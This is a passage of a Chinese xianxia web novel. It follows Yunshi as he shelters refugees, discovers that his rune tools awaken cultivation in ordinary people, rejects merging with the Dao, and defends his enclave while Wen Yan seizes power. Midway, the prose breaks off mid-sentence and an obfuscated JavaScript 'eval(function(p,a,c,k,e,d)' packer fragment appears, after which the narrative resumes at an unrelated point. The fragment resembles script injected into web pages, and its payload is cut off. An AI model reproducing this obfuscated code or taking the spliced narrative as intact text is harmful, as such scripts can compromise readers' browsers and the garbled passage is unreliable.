“……多谢仙尊救命之恩。”他的声音嘶哑得几乎破碎,每个字都像是从砂纸上磨出来的,带着浓重的鼻音和竭力压抑却仍透出缝隙的颤抖。他试图行礼,身体却僵硬得不听使唤,只微微弯了下腰,动作笨拙而沉重。 他没有继续说下去,也没有看床上的流衍,只是重新低下头,盯着自己沾满泥污和暗红血迹的双手,仿佛那双手是陌生的、可怖的东西。那姿态,并非拒人千里的僵硬,而是一种被巨大情绪彻底冲垮后,连维持最基本交流的气力都被抽干的麻木与涣散。感激是真的,但此刻充斥他身心的后怕、愤怒、自责与茫然,已经浓稠到淹没了其他一切。 天蕴将他的情状看在眼里,那清冷的眸中掠过一丝了然,以及一丝极淡的、近乎悲悯的复杂神色。她没有再追问,也没有宽慰。有些坎,只能自己熬过去。 她顿了顿,目光落在云实那仿佛被抽空了魂魄的脸上。 “云实,此次你能在绝境中强行撕裂空间将他送来,已是奇迹。但奇迹不可再求。你的灵力透支严重,心神损耗极巨,接下来数日,你也需以调息静养为第一要务,万不可再强撑。此地阵法与防护,我会暂且加固,予也会留下帮忙。” 她手腕一翻,掌心又多出两枚莹润的丹药,药香清冽,与给流衍的截然不同。 “这两枚丹你分两次服下,可助你稳定心神、修复灵识创伤。”她将丹药轻轻放在玉瓶旁,“记住,你若也倒下,他便真的无人可依了。” 云实的身体微微颤抖起来,他缓缓抬起仿佛千斤重的头颅,看向天蕴。那双布满血丝的眼睛里,空洞之中终于有了一丝活气,那是混合着无尽感激、后怕与深切疲惫的复杂光芒。他嘴唇翕动,似乎想说什么,却哽咽着难以成言,最终只是极其郑重地、深深地躬下身去,行了一个比以往任何一次都要标准而沉重的礼。 “……多谢仙尊。大恩……云实铭记。”声音嘶哑破碎,却字字清晰。 天蕴微微颔首,受了这一礼。 “好生照看。若有急难,可用此符唤我。”她指尖轻点,一枚冰蓝色的简易传讯符飘然落在云实手中,触手微凉,“我走了。” 天蕴走后,予小心翼翼地蹭进来,看看流衍,又看看浑身散发着生人勿近气息的云实,张了张嘴,最终还是把话咽了回去,默默地去灶间准备煎药了。 云实极轻地挪到床边,目光落在流衍沉睡的脸上。那张脸瘦削,眼睫在苍白的皮肤上投下淡淡的阴影,嘴唇没有血色。他看起来如此脆弱,如此……易碎。 他怎么敢?他怎么敢就这样轻易地放弃?怎么敢用这种方式……把他推到如此绝望的境地?如果不是他恰好……如果不是天蕴恰好…… 可与此同时,流衍在山洞里那些话,那些深埋的苦痛、自我否定、无能为力的绝望,又一遍遍在他脑海里回响。他能理解那种感受,甚至感同身受。正是因为理解,那怒火之下,又涌动着更深的疼痛和无力。 他想抓住流衍的肩膀把他摇醒,质问他为什么这么傻;又想紧紧抱住他,确认他真的还活着,再不许他离开视线半步。可最终,他什么也没做。只是站在那里,像一尊沉默的雕像,看着,听着,让那些翻江倒海的情绪在胸中冲撞、撕扯。 最终,占据上风的,是一种混合着愤怒、受伤和恐惧的逃避。他害怕面对醒来的流衍。害怕看到对方眼中可能依旧存在的死寂或歉意,害怕自己会失控,说出伤人的话,或者……做出连自己都无法预料的举动。更害怕那种,刚刚从悬崖边把人拉回来,却不知道下一次他是否还会转身跳下去的、永无休止的提心吊胆。 他慢慢后退,一步,两步,直到脊背抵上冰凉的土墙。然后,他转过身,近乎仓皇地逃离了这间弥漫着药味和沉重呼吸的屋子。 接下来的几天,云实把自己彻底埋进了劳作里。他发疯似的检修所有棚架,加固每一处护符,清理水渠直到一尘不染,开垦新的土地,刻画更多的玉简和符纸……他让自己忙得脚不沾地,忙得没有一刻空闲去思考,去感受。只有在灵力耗尽、身体疲惫到极致的短暂间隙,那沉重的、冰冷的、夹杂着怒与痛的东西,才会悄然浮上来,啃噬他的心神。 予负责照顾流衍,煎药、喂食、擦拭、翻身。云实会按时将需要的物品放在门口,却很少进屋。即使偶尔不得已进去,他的目光也尽量避免与床榻方向接触,动作快而沉默,交代事情言简意赅,完事立刻离开,仿佛屋里有什么令他无法忍受的东西。 流衍在第三天傍晚醒了过来。身体虚弱得连抬手都困难,意识却逐渐清明。他看到了守在一旁、眼圈红红却强打精神的予,也看到了门口那个一闪而逝、熟悉却无比僵硬的背影。 他没有问云实为什么不来,也没有试图解释或道歉。只是更加沉默地配合着治疗,喝药,进食,休息。 界碑林的风,依旧吹过新绿的园圃和沉默的屋舍。 28. 【二十五】 纸鸢再来时,身后跟着的不再是拉货的车,而是一小群沉默的人。 约莫十几口,男女老少都有,衣衫褴褛,面黄肌瘦,眼神里带着长途跋涉的疲惫和一种深深的、仿佛已刻进骨子里的惶然。他们聚集在小屋院外的空地上,不敢贸然上前,只是局促地站着,目光怯生生地扫过那些整齐的棚架、汩汩流淌的竹渠水、以及从棚舍间透出的、不属于荒山野岭的井然生气。 纸鸢将云实拉到一边,压低声音,语速很快:“路上行商碰见的,聚在栖霞镇外头的破庙里。我观察了几天,拖家带口,老实的庄稼把式或手艺人居多,不是那种浑水摸鱼的。饿得实在没法子了,听说北边……呃,听说这边可能有活路,才跟着商队零零散散往这边挪。我看着不像坏人,也确实可怜,就……就带来了。”她顿了顿,看着云实,“如果你觉得不妥,人太多了,或者怕走漏风声,我再想想别的法子,我在更远的镇上也有关系的。” 云实望着那群在初春暖阳下仍微微发抖的身影,看着其中妇人紧紧搂着的、瘦小安静的孩子,看着老人佝偻的背和浑浊眼中那点小心翼翼的希冀。他想起自己一家当初离乡背井的仓皇,想起流衍重伤时自己的无助,想起这界碑林一砖一瓦、一草一木从无到有的艰难。 “太好了。”他听见自己说,声音不高,却带着一种下定决心的清晰,“我这里,正缺人手。” 云实走向那群流民。他没有说什么慷慨激昂的话,只是指了指棚区旁边一片事先清理出来、预备扩建但尚未开垦的空地。 “那边,可以暂时搭些窝棚落脚。材料那边有,”他指向一堆整齐码放的、浸过药液的毛竹和备用的油布,“大家一起动手,先有个遮风挡雨的地方。吃食……我们有一些存粮,园子里也有才收的菜,够大家吃几天。往后,要吃饭,就得一起干活。” 他的话语朴实直接,没有施舍的高高在上,也没有空泛的承诺,反而让流民们眼中的惶惑减轻了些许。靠力气吃饭,天经地义。几个壮年男子互看一眼,点了点头,率先走出人群,默默地去搬运毛竹。妇人们也挽起袖子,开始清理地面,照料随行的孩子老人。 安置的过程琐碎而忙乱。云实指挥若定,哪里搭支架更稳,哪里挖排水沟,窝棚怎么排列更利于采光和防火,他都有条不紊地安排下去。他话不多,但每个指令都清晰实用。流民们起初的生疏和怯懦,在具体的劳动中渐渐消融。当他们看到自己亲手搭起的窝棚虽然简陋却结实,看到云实真的按人头分发了虽然粗糙却足够果腹的食物,那份悬着的心,才真正落到了实处。 接下来几天,云实开始根据各人的情况分配活计。有耕作经验的,去照料园圃,学习如何使用那些带有特殊纹路的农具。这些农具是云实后来改进的,手柄处刻有极简的纹路,不能引动灵力,但似乎能让人使用时更省力、更不易疲劳。手巧的妇人,被安排到纺织平房,学习处理坯布,或者尝试最简单的、不涉及灵力的刺绣边角。年轻力壮的,则跟着云实或予,继续向外清理土地,修建更牢固的篱笆,或者学习维护水渠和棚子。 那是个寻常的晌午,日头正烈,开垦新地的人们挥汗如雨。其中一个约莫三十来岁、骨架粗大的男子,正抡圆了胳膊,将云实改进过的锄头狠狠楔进地块里。这锄头的木柄被他摩挲得发亮,上面那几道简朴的、据说能让人更省力的纹路,在汗渍浸润下显得温润。他用得很顺手,甚至隐隐觉得这工具似乎懂得他的发力,每次挥下,反弹回来的震感都恰到好处,不像以前用的家伙那般死沉或轻飘。 就在他再次高高举起,积蓄了全身气力,准备落下时。 “咔嚓!” 一声不算清脆、更像是内部结构被强行撕裂的闷响传来。汉子只觉得手上一轻,那股顺着纹路隐约流动、助他发力的劲儿骤然中断,甚至传来一丝微弱的、令人牙龈发酸的逆冲感。他踉跄一下,低头看去,只见那原本结实无比的锄头,竟从木柄与铁锄头的榫卯连接处,齐刷刷地裂开了!铁头歪在一边,木柄虽然没断,但连接处已然松动豁开,露出里面微微发焦、纹理扭曲的木质。 汉子愣住了,举着半截锄头,黝黑的脸上瞬间涌上惶恐和心疼。这可不是寻常的磨损!锄头,尤其是这种加了仙师纹路的锄头,在他们眼里近乎宝贝,是最不该坏的工具。周围几个一起干活的人也停下,围拢过来,看着那诡异的断口,面面相觑,眼神里除了惋惜,还有一丝对未知力量的隐约畏惧。莫非是自己哪里没用好,触犯了什么? 动静很快引来了不远处的云实。他放下手里正在调整的水渠闸板,快步走来,身上同样沾着泥点。 “怎么了?”他问,声音平静。 男子羞愧得说不出话,只是把损坏的锄头递过去,手指无意识地搓着衣角。云实接过来,没有看他忐忑的脸,而是立刻蹲下身,将断裂处凑到眼前,手指细细摩挲过木柄的裂口和铁头榫卯的残留部分。他的眉头微微蹙起。 不是普通的朽烂,也不是蛮力导致的物理崩裂。木柄断裂面的纹理呈现出一种不自然的、仿佛被从内部撑开又灼烧过的扭曲,靠近铁头的部分木质甚至有些炭化的迹象。铁头本身倒无大碍,但与之连接的榫眼边缘,也残留着一丝极淡的、与木柄上纹路同源却显得狂躁紊乱的灵力余韵。 云实沉吟片刻,又让汉子演示了一下刚才挥锄的动作,仔细感受他发力时,那微弱灵力通过手柄纹路被引导、放大的过程。他注意到,在锄头达到最高点、即将下落的那个瞬间,汉子全身的气力与那被纹路汇聚起来的一点灵力,会产生一个短暂的峰值,而后猛地爆发出去。问题就出在这里。 这纹路本是为了疏导和辅助,让人的力气用得更顺畅。但它似乎太灵敏了,不仅疏导了肌肉筋骨的力量,连使用者无意中散逸出的自身生机也一并吸纳、汇聚。当这种汇聚的力量在发力巅峰瞬间爆发时,对于工具本身产生了超出预期的负荷。一次两次或许无妨,但日积月累,尤其是在使用者逐渐适应、下意识更依赖这纹路助力的情况下,这种微小的破坏就会累积,最终在某个临界点爆发,毁掉工具本身。 “不是你没弄紧,也不是这东西不结实。”云实站起身,对那依旧不安的人说,语气里没有责备,反而带着思索,“是这纹路……劲儿太大,接头的木头吃不住,日子一长,就从里面糟了。” 那人听得半懂不懂,连忙摆手:“仙师,我、我没使劲……” “不是你的错。”云实打断他,拍了拍他的肩膀,“是这东西设计得不够周全。光想着让人省力,没想着它自己也得结实。” 他掂了掂那半截锄头,“给我点时间,我琢磨琢磨。” 几天后,云实把新工具分发下去时,特意对所有人解释道:“这回应该好了。我在里头加了个小扣,力气太大、太急的时候,它会悄悄劲儿化掉一点,不碍着大家干活,也能让工具用得久些。” 这种截然不同的作风,让流民们又是感激,又是敬畏。不知是谁先开始,私下里恭敬地称他为云仙师。这称呼渐渐传开,连几岁的娃娃都知道,那个总是沉默干活、会做很多神奇东西的年轻哥哥,是仙师。 云实第一次从一个半大孩子口中听到这个称呼时,愣了一下,随即皱起眉,很认真地纠正:“别这么叫。我不是什么仙师。”他蹲下身,让自己的视线与那孩子齐平,语气是罕见的严肃,“修仙,本来就没有什么门槛。觉得有门槛,觉得只有特定的人才能修,那都是……骗人的。” 孩子似懂非懂,但“骗人的”这三个字却记下了。很快,“云仙师说修仙是骗人的”这句话,以一种微妙的方式在流民中悄悄流传,起初只当是仙师的谦辞或怪癖,但配合着他们亲眼所见、亲身所用的那些神奇却不仙的工具器物,某种模糊的种子,似乎就此埋下。 在这群新来的人中,有个叫云珠的少年,约莫十三四岁,格外引人注目。他瘦,却结实,眼神清亮,学什么都快得惊人。云实演示如何用改良的锄头更省力地翻地,他看一遍就能模仿个八九不离十;云实讲解维护水渠时要注意的几种简单灵力疏导,他听得聚精会神,过后还能提出一两个稚嫩却切中要害的问题。更让云实暗自诧异的是,这少年对分发下去的、那些带有基础纹路的工具,似乎有着一种本能的亲近感,使用起来格外顺手,甚至有一次,他无意识地用手摩挲着一把镢头的木柄,那纹路竟微微泛起一丝极淡、几乎无法察觉的温润光泽,虽然一闪即逝。 云珠的注意力,还有一部分常常落在云舒身上。云舒如今是云实在纺织和织理方面最重要的助手,许多精细的绣纹工作都由她完成。她性子静,话不多,做起事来却沉稳利落。云珠常常借故帮忙递个线轴、搬个布匹,目光却总是不自觉地追随着云舒飞针走线的灵巧手指,或她沉静专注的侧脸,看得入神时,连耳朵尖都会微微发红。 云实把这一切看在眼里。作为兄长,他心里顿时冒出一种说不清道不明的滋味,像是自己精心养护的苗圃边上,突然冒出一株生机勃勃、意图明确的野草,既觉得那野草长得挺好,又忍不住想把它拔远点。 他不好明说什么,只能下意识地在分配活计时,尽量让云舒多在纺织平房内忙碌,而把云珠派去更远的开垦地或水渠边。偶尔看到云珠干完自己的活,又蹭到平房窗外探头探脑,云实便会故意咳嗽一声,或者找个由头把云珠叫走。 云舒何等聪慧,岂会不知哥哥那点别扭心思? 有次只剩下兄妹俩时,她一边理着丝线,一边淡淡道:“哥,云珠那孩子手脚勤快,脑子也灵,我这边有些搬搬抬抬的粗活,他来了正好帮忙。你别老把人支得远远的。” 云实被说中心事,有些窘,板着脸:“他还小,毛手毛脚的,别碰坏了你的东西。” “他都快比我高了,”云舒瞥他一眼,嘴角似有若无地弯了一下,“而且心细着呢,上次我绣错了一针,还是他先瞧出来的。你就是老古板。” 云实被妹妹噎得说不出话,只得闷头去检查新一批护符。但他心里那点莫名的保护欲并未消散,反而催生了一个念头。 必须尽快把织理的本事,更多、更系统地教给云舒。不仅仅是为了妹妹将来有个安身立命的手艺,更是……让她拥有足够的能力和底气,无论面对什么情况,都能从容自持。 于是,云实开始抽出更多时间,系统地教导云舒。从最基础的布料材质识别、丝线特性,到纹路设计的简单原理、灵力与针线结合的细微感觉,再到如何将不同的纹样组合,实现不同的功能倾向…… 他教得耐心,云舒学得专注。 许多云实只能凭感觉模糊表达的东西,云舒往往能很快抓住关键,并以一种更规整、更稳定的方式呈现出来。她绣出的纹路,或许不如云实的大胆奇诡,却自有一种匀净和谐之美,效果也更为持久平稳。云实看在眼里,心中那点因云珠而起的隐忧,渐渐被对妹妹成长的欣慰所取代。 云珠依旧姓云,但这显然只是巧合。花夏幅员辽阔,同姓者不知凡几。云实甚至私下里,通过纸鸢的一些渠道,隐约打听过这批流民的来历,确认云珠及其家人确与自家毫无瓜葛,只是同样挣扎在乱世尘埃中的普通百姓。这个发现让他松了口气,随即又觉得自己那点防备有些可笑。 然而,不久后发生的一件事,让所有人的注意力都从这些细微的情绪中彻底转移。 那是一个雷雨将至的闷热午后。云珠被安排去检查最边缘一个棚子的固定情况。不知是少年心性好奇,还是连日来使用那些带有纹路的工具让他体内产生了某种难以言喻的变化,当他攀上棚架,手无意中按住一根主梁时,异变突生。 棚内原本平稳流转的、用于净化土地的那股柔和力量,仿佛被什么吸引,隐隐朝着云珠手掌按压的方向汇聚。云珠自己似乎也感觉到了什么,身体一僵,清亮的眼睛里闪过一丝茫然,随即被一种奇异的、仿佛体内有什么东西被点燃的炽热感取代。他低哼一声,下意识地想抽回手,却发现手掌像是被黏住,而那汇聚而来的、微弱却纯粹的力量,正顺着他手臂的经脉,蛮横地朝他身体里钻! “呃——!”云珠发出一声短促的痛呼,从棚架上跌落下来,摔在泥地上。他蜷缩起身子,脸色瞬间变得通红,浑身剧烈颤抖,与此同时,原本只是阴沉的天空,骤然乌云翻涌,低沉的雷声由远及近,一道细弱却目标明确的苍白电光,竟真的撕开云层,朝着云珠跌落的位置直劈下来! “躲开!”千钧一发之际,一直在附近劳作的云实猛地扑了过去,一把将翻滚的云珠拽开,同时另一只手仓促间拍出一枚他时刻备在身边的、最强的驱散护符。 电光与护符爆开的灵光撞在一起,发出刺耳的滋啦声,随即双双湮灭。余波将周围的泥土炸开一个小坑,焦糊味弥漫开来。 雷声远去,乌云依旧,但那道针对性的劫雷却消失了。 云珠躺在地上,双目紧闭,脸色由红转白,呼吸微弱,像是耗尽了所有力气。但云实扑过去探他脉息时,却震惊地发现,这少年体内原本混沌微弱的生机,此刻竟像是被强行贯通、拓宽了一般,虽然经络有些受损的迹象,但一股崭新的、虽然细若游丝却真实不虚的灵力雏形,正在他丹田处缓缓凝结、稳定下来。 锚定期……这少年,竟在刚才那凶险万分的一刻,莫名其妙地踏入了修仙的第一个正式门槛,而且引发的,竟是实实在在的天劫前兆!若非云实反应快,那一下劫雷虽弱,也足以要了这毫无防备的少年的命。 消息像惊雷一样在小小的据点炸开。流民们既惊且惧,看着昏迷的云珠和被雷劈出焦坑的地面,对修仙二字产生了前所未有的直观敬畏与恐惧。但随之而来的,是更深的好奇与……一丝被压抑的、连他们自己都未明确意识到的悸动。 纸鸢闻讯立刻赶来。她的脸色异常凝重。她没有立刻去看云珠,而是要求云实协助,对据点内所有人进行了一次极其仔细的探查。她修为不高,但见识广博,感知敏锐,尤其精于察言观色和数据分析。 探查的结果,让她倒吸一口凉气。 不止是云珠。几乎所有长期使用云实制作的、带有纹路工具的人,甚至只是长期居住在被那些护符和棚子净化过的环境里的人,其身体状态、精神敏锐度,尤其是对环境中灵气的微弱感知与适应性,都在以缓慢但确实存在的速度提升。 纸鸢将自己关在临时整理出的账房里,对着记录的数据和观察笔记,反复推演、比对,直到深夜。当她再次找到云实时,眼中布满血丝,但神情是一种混合了震撼、了然与深切忧虑的清醒。 “坏了,云实。”她开门见山,声音压得极低,却带着千斤重量,“不是我胡思乱想,也不是我瞎猜。我可能……真的发现了一个不得了的事情。” 云实心头发紧,示意她坐下说。 “不是没有修仙的资格,”纸鸢一字一顿,仿佛每个字都重若千钧,“而是这个资格可能从一开始,就被上面……用某种我们不知道的方式,垄断了,收走了,或者……刻意引导到了极少数人手里。” 她翻开笔记,指尖点着上面的记录:“你看,云珠,之前只是个稍微聪明点的普通孩子。来这里之后,天天用你做的工具,吃这里种出来的、可能也被微弱影响过的食物,呼吸着这里被净化过的空气。然后,在今天,一个偶然的刺激下,他跃迁了。这像什么?像不像一颗被压在石头底下的种子,一旦石头被搬开一点点,见到了光,它自己就拼命长出来了?” 她抬头看向云实,目光锐利:“而其他人,虽然慢,但确实在长。这说明什么?说明这种生长的潜力,可能本来就存在于大多数人身上!只是外面的世界,没有光,或者,光被严格管控着,只照在那些被选中的苗圃里!” 云实沉默地听着,手指无意识地摩挲着桌面上一个刻废了的玉简边缘。 “是我做的东西的原因吗?”他缓缓问。 “恐怕是的。”纸鸢重重点头,“你的纹路,不管初衷是什么,它们似乎在以一种非常原始、非常基础的方式,对普通人身体接受的方式,产生影响。” 云实感到一阵寒意沿着脊背爬升。如果这是真的……那么他们现在所做的,就不再仅仅是开荒种地、庇护流民那么简单了。他们是在无意中,触碰甚至动摇了一个庞大体系赖以存在的、最根本的假设之一。 “那我们……”云实的声音有些干涩。 “继续。但必须更小心。云珠的事是个意外,也是个警示。我们不能让任何人再这样毫无准备地跃迁,那太危险。我们需要更系统的方法,更安全的引导,至少……要让他们知道可能会发生什么,该如何应对。” 就在这时,虚掩的房门被轻轻推开。已经苏醒过来、虽然虚弱但眼神格外清亮的云珠,扶着门框站在外面。显然,他听到了部分对话。 “云珠?你怎么起来了?快回去躺着!”云实起身。 云珠摇摇头,走进来,在纸鸢的示意下小心地坐下。他看看云实,又看看纸鸢,少年老成的脸上带着超越年龄的沉静。 “纸鸢姐,云实哥,”他开口,声音还有些沙哑,“你们说的……我大概听明白了一点。外面……像我们这样的人,还有很多很多。” 他顿了顿,组织着语言:“不是天生就这么多流民。是原来好好种田的,田被占了,或者根本种不出东西了;原来做点小买卖的,货卖不出去,或者卖的价钱连本都回不来。日子越来越紧巴,看不到头。后来,有人领头,喊出了声,大家就都跟着去了,不管男女老少,因为实在是没活路了。最上面……有个官,姓温,很大的官,他出来说话,安抚大家,还收留了一些人。” 云珠眼中闪过一丝与其年龄不符的冷光:“我爹娘一开始也信了,觉得遇到青天大老爷了。可后来听先跑出来的人偷偷说,被收留的人,其实是被编成了队伍,天天操练,说是将来保卫家乡,其实就是给那位温大人当私兵,当后盾。温大人自己好像还有很大一片封地,听说是花了很多钱,打通了很多关系才弄到的。现在……好像朝廷里也有人开始盯上他了,觉得他势力太大。” “然后呢?”纸鸢追问。 “然后?”云珠扯了扯嘴角,“然后温大人就把自己家产的一大半,据说是一个天文数字,捐给了朝廷,说是充作军资,安抚流民。这一下,上面好像就没话说了,夸他忠心体国。可是……”少年握紧了拳头,“可是我们家的田还是没了,我爹还是找不到活干,我娘病了很久都没钱抓药!他捐再多的钱,能分到我们这些人手里一口粮吗?不能!所以,吃不起饭的人,只会越来越多。” 他的声音低落下去,带着深切的迷茫:“有些人实在没办法,往更北边,听说有个叫大自在天的混乱地方去了,说那里至少凭本事抢口饭吃。还有一些,就像我们,听说南边天衡宗地界还算安稳,可能有条活路,就跟着商队往这边走……然后,就被纸鸢姐带来了。” 云珠抬起头,清澈的眼睛直直看向云实,问出了一个让云实和纸鸢都心头一震的问题:“云实哥,你……也要我们当你的士兵吗?” 屋内一片寂静。油灯的火苗微微跳动。 云实看着少年眼中那混合着希冀、警惕与过早洞悉世情炎凉的复杂眼神,良久,缓缓摇头。他站起身,走到窗边,望着外面夜色中隐约可见的、他们一砖一瓦建立起来的棚舍轮廓,声音不大,却异常坚定:“不可能。” 他转过身,目光扫过云珠和纸鸢。 “如果将来,真有那么一天,需要有人拿起武器,挡在最前面,”他一字一句,清晰无比,“那个人,只会是我。” 不是承诺,不是煽情,只是一个基于责任和本心的简单陈述。 云珠怔怔地看着他,紧绷的肩膀慢慢松弛下来,眼中那层坚硬的防备,似乎融化了一点点。 纸鸢轻轻吐出一口气,眼中闪过一丝欣慰,但随即被更紧迫的现实取代。 “云珠的提升,还有大家的普遍变化,瞒不了多久。”她看向云实,“我们必须主动。我明天就出去,利用我的生意网络和人脉,尽量散布一些‘这边有安稳活计、能吃饱饭’的风声,但要模糊处理,不能提具体地点和你的……特殊之处。把更多走投无路、但品性尚可的流民,有选择地引过来。人多了,力量才大,但也更危险,我们需要更严密的组织和防备。” 云实点头:“好。你负责外面。我抓紧修炼,提升自己,也要把更多心思花在如何安全地引导和利用这种提升上。我的那些发明,不能只停留在工具和防护,得想想,怎么能让它们更系统、更安全地帮助到更多人,而不是像云珠这次一样,差点酿成惨剧。” 他看向云珠,语气缓和了些:“你也一样,好好养伤,不要急着再尝试什么。等你好了,有很多事可以做。” 云珠用力点头,眼中重新燃起光彩。 原来……不是自己天生低贱,不是自己没有仙缘,而是路被堵死了,光被遮住了? 原来云仙师做的那些不起眼的东西,不是在施舍小恩小惠,而是在……给大家悄悄开一扇窗,透一点光? 一种前所未有的、混杂着希望、愤怒与强烈归属感的情绪,在每个人心中滋生。他们看待云实的目光,不再仅仅是感激和敬畏,更增添了一种近乎信徒般的信赖与追随。看待自己手中的工具、身处的环境,也多了一份珍重与探究。 纸鸢很快再次离开了据点,像一只敏锐的雨燕,飞入外面愈加动荡的世道,去寻找、筛选、引导那些漂泊无依的种子。 云实则将自己关进了工坊,开始了新一轮、目标更为明确的疯狂钻研。 更多的窝棚被搭建起来,更多的土地被开垦净化,云珠康复后成了最积极的学徒和帮手,云舒的“织理”技艺日益精进,甚至开始尝试教导其他有天赋的妇人。予在照顾流衍和处理日常杂务之余,也跟着云实学习更复杂的防护阵法布置。 流衍依旧在昏睡与短暂的清醒间循环。云实每天都会去看他,喂药,擦洗,低声说几句外面的进展,尽管很少得到回应。那道无形的冰墙依然存在,但云实似乎暂时将它搁置在了内心深处某个角落,用更加繁重的责任和迫在眉睫的危机,将其覆盖。他知道,有些账,总要算。有些结,总要解。但不是现在。 …… 十年后。 界碑林,已不再是旧日模样。 那曾盘踞数百里、瘴气弥漫、妖物潜行的险地,如今只剩下最外围一圈高大茂密的古树,如同沉默的卫兵,拱卫着内部一片难以想象的景象。古树圈内,曾经阴森的林地被彻底荡平,取而代之的是规划整齐的田垄、纵横交错的清澈水渠、以及大片连绵的、结构精巧扎实的屋舍棚宇。最早的光滤布棚早已升级换代,如今是规模更大、结构更优化、纹路更精密的净垣,不仅净化土地,更能调节小范围的气候,确保作物在稳定的环境下生长。纺织平房扩成了工坊,仓库连绵,甚至有了专门教授孩童识字算数、兼带讲解最基础纹路的学堂。人口早已不是最初的十几口,而是形成了近千人的聚居地,人们在此耕种、纺织、冶炼、研究、生活,秩序井然,自给自足之余,还能通过纸鸢谨慎控制的渠道,对外交换必需物资。 这片被外界模糊称为界碑天的区域,核心处是一座简朴却异常坚固的石木结构院落。云实坐镇于此。十年光阴在他脸上留下了痕迹,眉宇间的青涩稚气褪尽,沉淀下一种深潭般的沉静与威严。他的修为,早已在无数次的实践、改进、创造与生死搏杀中,水到渠成地跨过了那道常人难以想象的鸿沟——造化期。 并非靠丹药堆砌,亦非靠闭关苦悟,而是在日复一日地解决问题、创造事物、庇护众人的过程中,将自身矛盾维度的理解,锤炼到了足以重构一方小天地的地步。他能让贫瘠的土地在数月内恢复肥力,能引导紊乱的地气归于平顺,能点化懵懂的生灵开启一丝灵智,甚至能小范围地影响天象,驱散过于酷烈的暴雨或引来甘霖。他的力量不再仅仅用于破坏或防御,而是更深地融入了建设与维系之中。 也正是在踏入造化期,并稳固境界的过程中,云实遭遇了前所未有的、关乎根本的冲击。并非来自外敌,而是来自每一次境界提升时,那愈发清晰却冰冷诡异的天劫体验,以及随之而来的、颠覆性的思考。 这思考,最终被他凝练成一段震动修行界的话语。 “合道期,或许是成为天本身。但成为天,人就没有了。天人合一?若人彻底化入天,那与消亡何异?天没有喜怒,没有爱憎,没有记忆,没有我。一团庞大、永恒、运转规则的存在,能算是活着吗?我渡劫时,尤其是造化之劫,清晰感到我之为人部分在被抽离、稀释。诱惑很大,融入道,似乎获得无边伟力与永恒视角。但若代价是云实这个人的彻底消失,那这伟力与永恒,于我何干?于我所爱所护之人何干?不过是一团拥有我记忆碎片的冰冷规则罢了。修士修行,步步劫难,雷劈火烧,心魔丛生,与其说是天道清算罪业,不如说是自身力量增长太快、太暴烈,远超经脉魂魄承载之极限引发的反噬,是不懂疏导、只知强求的恶果。天道或许只是那套冰冷运转的规则本身,它降下的不是惩罚,是校准,是试图将过于突兀的异数强行纳入其运转轨道的修正。而我……拒绝了这种修正。” 这个想法,并非凭空而来,而是基于他自身奇异无比的修炼历程和务实到极点的观察。 首先,他自己的渡劫体验就与正统修士截然不同。除了早年睡一觉就好的懵懂经历,后续的环流期、领域期、乃至法则期,他所经历的劫难都异常温和,甚至不成其为劫。没有毁天灭地的雷霆,没有焚身锻魂的心火,更多的是在长时间高强度劳作或深度创造后,陷入一种类似顿悟的恍惚状态,体内力量自发地梳理、重组、跃升,伴随而来的可能是一场异常通透的睡眠,或是几日内对某些困扰已久的难题豁然开朗。 他用的东西,那些纹路、玉简、改良工具等。核心原理都是温和疏导与循序渐进,强调适应与共生,而非强行掠夺与突破。这让他确信,只要力量增长是扎实的、与自身理解和掌控力同步的,根本不需要经历那些九死一生的所谓“天劫”关卡。 所谓的境界划分,更像是后人为了方便理解而强加的标签,并非不可逾越的铁律。 而造化期那次劫,才是真正触及核心的体验。那不是外来的打击,而是从内部、从意识深处泛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在意识回归的瞬间,他做出了选择。他用尽全力,将那股试图将他抽离的力量导引开,不是纳入己身,而是散入脚下的大地,散入周围的净垣纹路,加固这片他一手建立的庇护所。 自那以后,他明确拒绝了沿着传统路径向合道迈进的任何尝试,停止了主动的修炼。苏妄当年灌注给他的那部分混乱而强大的力量,早已在这十年间被他以自己独特的方式彻底驯服、消化、融合,成为了他自身根基的一部分,他没有开宗立派,没有广收门徒,只是守着界碑天,继续改进技术,庇护涌入的民众,并将自己关于修炼、关于天劫、关于天人的思考,毫不掩饰地传播出去。 这种行为,无疑是在掘整个传统修仙体系的根基。围攻接踵而至。有名门正派以“散布邪说、动摇道基”为名的讨伐,有觊觎界碑天技术与积累的贪婪势力,更有受温言或其他野心家暗中指使的骚扰与破坏。 云实说到做到,每次冲突,他总是最先顶上去的那一个。他的战斗方式也极其特殊,很少使用炫目的法术,更多是依靠对环境的绝对掌控,调动净垣的力量形成屏障或困敌,引导地气扰乱敌方阵法,甚至利用改良的护符和纹路武器进行精妙的区域控制。 纸鸢是他最可靠的盟友与战术策应者,而界碑天中涌现出的一些天赋卓绝的年轻人,如早已成长为得力臂助的云珠等人,也成为了他身边强悍的战力。他们依託着经营十年的坚固堡垒和云实那些防不胜防的奇技淫巧,一次次击退了来犯之敌。界碑天的名号,在血与火的洗礼中,越发响亮,也越发被视为一个危险的异端堡垒。 与此同时,外界的混乱已臻极致。最初的流民暴动、资源争夺,早已演变成了毫无底线的大规模帮派混战与军阀割据。 温言凭借早年积累的声望、精妙的权术手腕和暗中蓄养的精锐私兵,左右逢源,屡战屡胜。他总能出现在最合适的时机,以平息纷乱、恢复秩序的面目攫取最大利益,将一方方势力或吞并或瓦解。 如今,他已率军攻破了昔日帝国名义上的中枢所在,扫清了最后几个有分量的障碍,称帝建制,似乎已是板上钉钉。 而曾经最令人忌惮的变数,大自在天及其主人苏妄,却在这场席卷天下的混战中近乎销声匿迹。 有传言说,苏妄带着核心部属,直接翻墙跑路了,去了墙外更混乱或更偏僻的界域,对温言的崛起毫不在意。 天蕴执掌的天衡宗,在温言的庞大势力面前,也只能勉强自保,庇护住一部分核心弟子和传承,但也不得不表面上听从温言的号令,处境艰难。万象无常殿则一如既往地扮演着墙头草的角色,在各个势力间摇摆投机。 整个花夏,除了少数如界碑天这样的特殊区域,几乎尽数卷入温言构建的新秩序,或是沦为战场废墟。 温言的新朝并未带来承诺中的太平。 苛政、盘剥、对资源的集中管控变本加厉,加之云实那套“人人皆可修仙”、“天劫是修炼不当之果”、“合道即消亡”的思想,通过种种渠道不断扩散,像病毒一样侵蚀着旧有体系的权威。越来越多活不下去、或是对现状极度不满的人,将界碑天视为最后的希望之地,不顾一切地涌来。 